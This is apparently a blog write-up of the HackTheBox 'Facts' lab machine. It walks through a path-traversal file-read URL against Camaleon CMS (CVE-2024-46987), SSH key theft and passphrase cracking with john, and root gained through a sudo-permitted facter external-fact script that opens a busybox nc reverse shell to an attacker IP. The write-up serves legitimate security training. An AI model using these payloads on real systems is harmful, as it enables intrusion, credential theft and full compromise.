January 31, 2026

Facts HackTheBox Writeup - Season10

Share
HackTheBox Facts machine walkthrough

SUMMARY

This write-up covers the Facts machine from HackTheBox Season 10. Initial reconnaissance exposed an HTTP service on port 80 hosting a small public site. Directory fuzzing surfaced an /admin endpoint that allowed free registration, and once logged in the panel disclosed the underlying CMS as Camaleon CMS 2.9.0. Researching the version led to CVE-2024-46987, a Local File Inclusion in the private file download endpoint that was leveraged to read sensitive files on the server.

Using the LFI to walk the file system, the SSH private key of the trivia user was extracted. The key was password-protected, so it was passed through ssh2john and the resulting hash was cracked offline, recovering the passphrase and delivering an initial shell as trivia.

Internal enumeration revealed that the user had sudo rights to run the facter binary as any user. Facter accepts external fact files (Ruby or shell scripts) loaded from a custom directory, which makes it trivial to abuse: a malicious shell script placed inside an --external-dir is executed in the privileged context. Dropping a reverse shell into a fact file and invoking facter as root delivered a root shell and completed the machine.


PATH TO FOLLOW

  1. Reconnaissance
  2. Web Enumeration & Admin Endpoint Discovery
  3. Camaleon CMS 2.9.0 Fingerprinting
  4. CVE-2024-46987 - LFI in download_private_file
  5. SSH Private Key Extraction (id_ed25519)
  6. ssh2john & Offline Passphrase Cracking
  7. Shell as trivia
  8. Sudo Misconfiguration on facter
  9. External Fact Abuse for Code Execution
  10. Root Shell

Let’s get to work

alt

1. Reconnaissance & Web Port 80

The nmap scan exposes only three open ports, with the only meaningful surface being HTTP on port 80. Browsing the site lands us on a public-facing page that doesn’t reveal much on its own.

alt

Time to map out what else lives behind that domain.


2. Admin Endpoint & Free Registration

Fuzzing the site’s subdirectories surfaces an /admin endpoint.

alt

Visiting it shows a login portal that conveniently lets us register a new user. We sign up and log in straight away.

alt

Once inside, the panel itself tells us what we’re dealing with: Camaleon CMS 2.9.0.

alt


3. CVE-2024-46987 - Camaleon CMS LFI

A quick search for vulnerabilities affecting that version surfaces three relevant entries. The first two don’t lead anywhere, but the third one is what we want.

alt

Searching specifically for CVE-2024-46987 brings up a GitHub Security Lab advisory with a working proof of concept. The vulnerability sits in the admin/media/download_private_file endpoint, which doesn’t sanitise the file parameter and can be coerced into returning arbitrary files via a path traversal payload.

Pointing it at /etc/passwd confirms the bug.

http://<TARGET_IP>/admin/media/download_private_file?file=../../../../../../etc/passwd

alt


4. SSH Private Key Extraction

Reading /etc/passwd exposes a few system users, with trivia standing out as the most realistic candidate for SSH access. The next move is to try and pull their private key. The default id_rsa path doesn’t return anything, but switching to id_ed25519 lands the file.

alt

We have the user’s private key.


5. ssh2john & Passphrase Cracking

Trying to SSH in immediately fails: the key is password-protected, so OpenSSH asks for a passphrase.

alt

We feed the key to ssh2john to convert it into a john-compatible hash.

ssh2john id_ed25519 > id_ed25519.hash

alt

Running it through john with rockyou.txt cracks the passphrase within seconds.

john --wordlist=/usr/share/wordlists/rockyou.txt id_ed25519.hash

alt


6. Shell as trivia

With the passphrase in hand, SSH’ing in as trivia works on the first try.

ssh -i id_ed25519 trivia@<TARGET_IP>

alt

The user flag drops out of trivia’s home directory.


7. Sudo Misconfiguration on facter

Internal enumeration starts with sudo -l. The result is unusually specific: the user is allowed to execute the facter binary as any user, with no password.

alt

Facter is Puppet’s system fact-gathering tool. Beyond the built-in facts, it can load external facts from arbitrary directories, and external facts are just executables. A bit of digging into the docs lays out exactly how the loader behaves:

OptionExecutesExample fileExample content
--custom-dirRuby codemyfact.rbFacter.add(:myfact) do setcode { `whoami`.strip } end
--external-dirShell scriptmyfact.sh#!/bin/bashecho "myfact=$(whoami)"
--external-dirPython scriptmyfact.py#!/usr/bin/env python3import os; print("myfact="+os.getlogin())
-p, --puppetPuppet Ruby factsPuppet .rb factFacter.add(:pfact) do setcode { Facter::Util::Resolution.exec('id') } end

8. Privilege Escalation via External Fact Abuse

To prove the chain works before going for the kill, we drop a quick canary fact that fires a single ping back to our box.

cat <<'EOF' > /tmp/factsdir/test.sh
#!/bin/bash
ping -c 1 10.10.14.82
EOF
chmod +x /tmp/factsdir/test.sh
sudo facter --external-dir /tmp/factsdir

The tcpdump on our side catches the ICMP echo, confirming the script runs in the privileged context.

alt

Now we swap the payload for a real reverse shell. A busybox nc one-liner is enough, no need for anything fancy.

cat <<'EOF' > /tmp/factsdir/test.sh
#!/bin/bash
busybox nc 10.10.14.82 4444 -e sh
EOF
chmod +x /tmp/factsdir/test.sh
sudo facter --external-dir /tmp/factsdir

Our listener catches the connection as root.

alt

Game over.


References